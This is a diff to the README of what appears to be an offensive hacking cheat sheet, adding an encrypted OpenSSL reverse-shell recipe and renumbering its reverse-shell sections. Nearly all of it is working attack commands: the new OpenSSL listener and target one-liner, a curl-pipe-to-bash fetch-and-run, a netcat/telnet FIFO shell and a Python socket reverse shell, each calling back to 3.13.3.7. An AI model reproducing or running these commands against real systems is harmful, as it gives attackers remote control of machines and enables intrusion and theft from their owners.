diff --git a/README.md b/README.md index 288b537..1801cf4 100644 --- a/README.md +++ b/README.md @@ -52,8 +52,9 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg) 1. [with gs-netcat](#reverse-shell-gs-netcat) 1. [with Bash](#reverse-shell-bash) 2. [with cURL (encrypted)](#curlshell) - 1. [without /dev/tcp](#reverse-shell-no-bash) + 3. [with OpenSSL (encrypted)](#sslshell) 1. [with remote.moe (encrypted)](#revese-shell-remote-moe) + 1. [without /dev/tcp](#reverse-shell-no-bash) 1. [with Python](#reverse-shell-python) 1. [with Perl](#reverse-shell-perl) 1. [with PHP](#reverse-shell-php) @@ -1124,11 +1125,25 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3 ``` ```sh # On the target: -curl -skfL https://1.2.3.4:8080 | bash +curl -skfL https://3.13.3.7:8080 | bash +``` + + +**5.i.d. Reverse shell with OpenSSL (encrypted)** + +```sh +# Generate SSL keys: +openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC" +# Start your listening server: +openssl s_server -port 1524 -cert cert.pem -key key.pem +``` +```sh +# On the target: +{ openssl s_client -connect 3.13.3.7:1524 -quiet &- | sh 2>&3 >&3 3>&- ; } 3>&1 | : ``` -**5.i.d. Reverse shell without /dev/tcp** +**5.i.e. Reverse shell without /dev/tcp** Embedded systems do not always have Bash and the */dev/tcp/* trick will not work. There are many other ways (Python, PHP, Perl, ..). Our favorite is to upload netcat and use netcat or telnet: @@ -1163,7 +1178,7 @@ tail -f /tmp/.fio | sh -i 2>&1 | telnet 3.13.3.7 1524 >/tmp/.fio Note: This trick logs your commands to a file. The file will be *unlinked* from the after 60 seconds but remains useable as a 'make shift pipe' as long as the reverse tunnel is started within 60 seconds. -**5.i.e. Reverse shell with remote.moe and ssh (encrypted)** +**5.i.f. Reverse shell with remote.moe and ssh (encrypted)** It is possible to tunnel raw TCP (e.g bash reverse shell) through [remote.moe](https://remote.moe): @@ -1190,13 +1205,13 @@ rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p & ``` -**5.i.f. Reverse shell with Python** +**5.i.g. Reverse shell with Python** ```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("3.13.3.7",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` -**5.i.g. Reverse shell with Perl** +**5.i.h. Reverse shell with Perl** ```sh # method 1